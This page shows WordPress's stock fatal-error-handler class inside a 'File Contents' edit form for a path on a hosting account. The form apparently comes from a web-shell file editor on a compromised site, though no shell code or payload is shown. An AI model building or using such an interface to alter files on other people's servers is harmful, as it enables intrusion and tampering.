<h2>File Contents: /home/planet5/public_html/wp-includes/class-wp-fatal-error-handler.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-includes/class-wp-fatal-error-handler.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Error Protection API: WP_Fatal_Error_Handler class
 *
 * @package WordPress
 * @since 5.2.0
 */

/**
 * Core class used as the default shutdown handler for fatal errors.
 *
 * A drop-in &#039;fatal-error-handler.php&#039; can be used to override the instance of this class and use a custom
 * implementation for the fatal error handler that WordPress registers. The custom class should extend this class and
 * can override its methods individually as necessary. The file must return the instance of the class that should be
 * registered.
 *
 * @since 5.2.0
 */
#[AllowDynamicProperties]
class WP_Fatal_Error_Handler {

	/**
	 * Runs the shutdown handler.
	 *
	 * This method is registered via `register_shutdown_function()`.
	 *
	 * @since 5.2.0
	 *
	 * @global WP_Locale $wp_locale WordPress date and time locale object.
	 */
	public function handle() {
		if ( defined( &#039;WP_SANDBOX_SCRAPING&#039; ) &amp;&amp; WP_SANDBOX_SCRAPING ) {
			return;
		}

		// Do not trigger the fatal error handler while updates are being installed.
		if ( wp_is_maintenance_mode() ) {
			return;
		}

		try {
			// Bail if no error found.
			$error = $this-&gt;detect_error();
			if ( ! $error ) {
				return;
			}

			if ( ! isset( $GLOBALS[&#039;wp_locale&#039;] ) &amp;&amp; function_exists( &#039;load_default_textdomain&#039; ) ) {
				load_default_textdomain();
			}

			$handled = false;

			if ( ! is_multisite() &amp;&amp; wp_recovery_mode()-&gt;is_initialized() ) {
				$handled = wp_recovery_mode()-&gt;handle_error( $error );
			}

			// Display the PHP error template if headers not sent.
			if ( is_admin() || ! headers_sent() ) {
				$this-&gt;display_error_template( $error, $handled );
			}
		} catch ( Exception $e ) {
			// Catch exceptions and remain silent.
		}
	}

	/**
	 * Detects the error causing the crash if it should be handled.
	 *
	 * @since 5.2.0
	 *
	 * @return array|null Error information returned by `error_get_last()`, or null
	 *                    if none was recorded or the error should not be handled.
	 */
	protected function detect_error() {
		$error = error_get_last();

		// No error, just skip the error handling code.
		if ( null === $error ) {
			return null;
		}

		// Bail if this error should not be handled.
		if ( ! $this-&gt;should_handle_error( $error ) ) {
			return null;
		}

		return $error;
	}

	/**
	 * Determines whether we are dealing with an error that WordPress should handle
	 * in order to protect the admin backend against WSODs.
	 *
	 * @since 5.2.0
	 *
	 * @param array $error Error information retrieved from `error_get_last()`.
	 * @return bool Whether WordPress should handle this error.
	 */
	protected function should_handle_error( $error ) {
		$error_types_to_handle = array(
			E_ERROR,
			E_PARSE,
			E_USER_ERROR,
			E_COMPILE_ERROR,
			E_RECOVERABLE_ERROR,
		);

		if ( isset( $error[&#039;type&#039;] ) &amp;&amp; in_array( $error[&#039;type&#039;], $error_types_to_handle, true ) ) {
			return true;
		}

		/**
		 * Filters whether a given thrown error should be handled by the fatal error handler.
		 *
		 * This filter is only fired if the error is not already configured to be handled by WordPress core. As such,
		 * it exclusively allows adding further rules for which errors should be handled, but not removing existing
		 * ones.
		 *
		 * @since 5.2.0
		 *
		 * @param bool  $should_handle_error Whether the error should be handled by the fatal error handler.
		 * @param array $error               Error information retrieved from `error_get_last()`.
		 */
		return (bool) apply_filters( &#039;wp_should_handle_php_error&#039;, false, $error );
	}

	/**
	 * Displays the PHP error template and sends the HTTP status code, typically 500.
	 *
	 * A drop-in &#039;php-error.php&#039; can be used as a custom template. This drop-in should control the HTTP status code and
	 * print the HTML markup indicating that a PHP error occurred. Note that this drop-in may potentially be executed
	 * very early in the WordPress bootstrap process, so any core functions used that are not part of
	 * `wp-includes/load.php` should be checked for before being called.
	 *
	 * If no such drop-in is available, this will call {@see WP_Fatal_Error_Handler::display_default_error_template()}.
	 *
	 * @since 5.2.0
	 * @since 5.3.0 The `$handled` parameter was added.
	 *
	 * @param array         $error   Error information retrieved from `error_get_last()`.
	 * @param true|WP_Error $handled Whether Recovery Mode handled the fatal error.
	 */
	protected function display_error_template( $error, $handled ) {
		if ( defined( &#039;WP_CONTENT_DIR&#039; ) ) {
			// Load custom PHP error template, if present.
			$php_error_pluggable = WP_CONTENT_DIR . &#039;/php-error.php&#039;;
			if ( is_readable( $php_error_pluggable ) ) {
				require_once $php_error_pluggable;

				return;
			}
		}

		// Otherwise, display the default error template.
		$this-&gt;display_default_error_template( $error, $handled );
	}

	/**
	 * Displays the default PHP error template.
	 *
	 * This method is called conditionally if no &#039;php-error.php&#039; drop-in is available.
	 *
	 * It calls {@see wp_die()} with a message indicating that the site is experiencing technical difficulties and a
	 * login link to the admin backend. The {@see &#039;wp_php_error_message&#039;} and {@see &#039;wp_php_error_args&#039;} filters can
	 * be used to modify these parameters.
	 *
	 * @since 5.2.0
	 * @since 5.3.0 The `$handled` parameter was added.
	 *
	 * @param array         $error   Error information retrieved from `error_get_last()`.
	 * @param true|WP_Error $handled Whether Recovery Mode handled the fatal error.
	 */
	protected function display_default_error_template( $error, $handled ) {
		if ( ! function_exists( &#039;__&#039; ) ) {
			wp_load_translations_early();
		}

		if ( ! function_exists( &#039;wp_die&#039; ) ) {
			require_once ABSPATH . WPINC . &#039;/functions.php&#039;;
		}

		if ( ! class_exists( &#039;WP_Error&#039; ) ) {
			require_once ABSPATH . WPINC . &#039;/class-wp-error.php&#039;;
		}

		if ( true === $handled &amp;&amp; wp_is_recovery_mode() ) {
			$message = __( &#039;There has been a critical error on this website, putting it in recovery mode. Please check the Themes and Plugins screens for more details. If you just installed or updated a theme or plugin, check the relevant page for that first.&#039; );
		} elseif ( is_protected_endpoint() &amp;&amp; wp_recovery_mode()-&gt;is_initialized() ) {
			if ( is_multisite() ) {
				$message = __( &#039;There has been a critical error on this website. Please reach out to your site administrator, and inform them of this error for further assistance.&#039; );
			} else {
				$message = sprintf(
					/* translators: %s: Support forums URL. */
					__( &#039;There has been a critical error on this website. Please check your site admin email inbox for instructions. If you continue to have problems, please try the &lt;a href=&quot;%s&quot;&gt;support forums&lt;/a&gt;.&#039; ),
					__( &#039;https://wordpress.org/support/forums/&#039; )
				);
			}
		} else {
			$message = __( &#039;There has been a critical error on this website.&#039; );
		}

		$message = sprintf(
			&#039;&lt;p&gt;%s&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;%s&quot;&gt;%s&lt;/a&gt;&lt;/p&gt;&#039;,
			$message,
			/* translators: Documentation about troubleshooting. */
			__( &#039;https://wordpress.org/documentation/article/faq-troubleshooting/&#039; ),
			__( &#039;Learn more about troubleshooting WordPress.&#039; )
		);

		$args = array(
			&#039;response&#039; =&gt; 500,
			&#039;exit&#039;     =&gt; false,
		);

		/**
		 * Filters the message that the default PHP error template displays.
		 *
		 * @since 5.2.0
		 *
		 * @param string $message HTML error message to display.
		 * @param array  $error   Error information retrieved from `error_get_last()`.
		 */
		$message = apply_filters( &#039;wp_php_error_message&#039;, $message, $error );

		/**
		 * Filters the arguments passed to {@see wp_die()} for the default PHP error template.
		 *
		 * @since 5.2.0
		 *
		 * @param array $args Associative array of arguments passed to `wp_die()`. By default these contain a
		 *                    &#039;response&#039; key, and optionally &#039;link_url&#039; and &#039;link_text&#039; keys.
		 * @param array $error Error information retrieved from `error_get_last()`.
		 */
		$args = apply_filters( &#039;wp_php_error_args&#039;, $args, $error );

		$wp_error = new WP_Error(
			&#039;internal_server_error&#039;,
			$message,
			array(
				&#039;error&#039; =&gt; $error,
			)
		);

		wp_die( $wp_error, &#039;&#039;, $args );
	}
}
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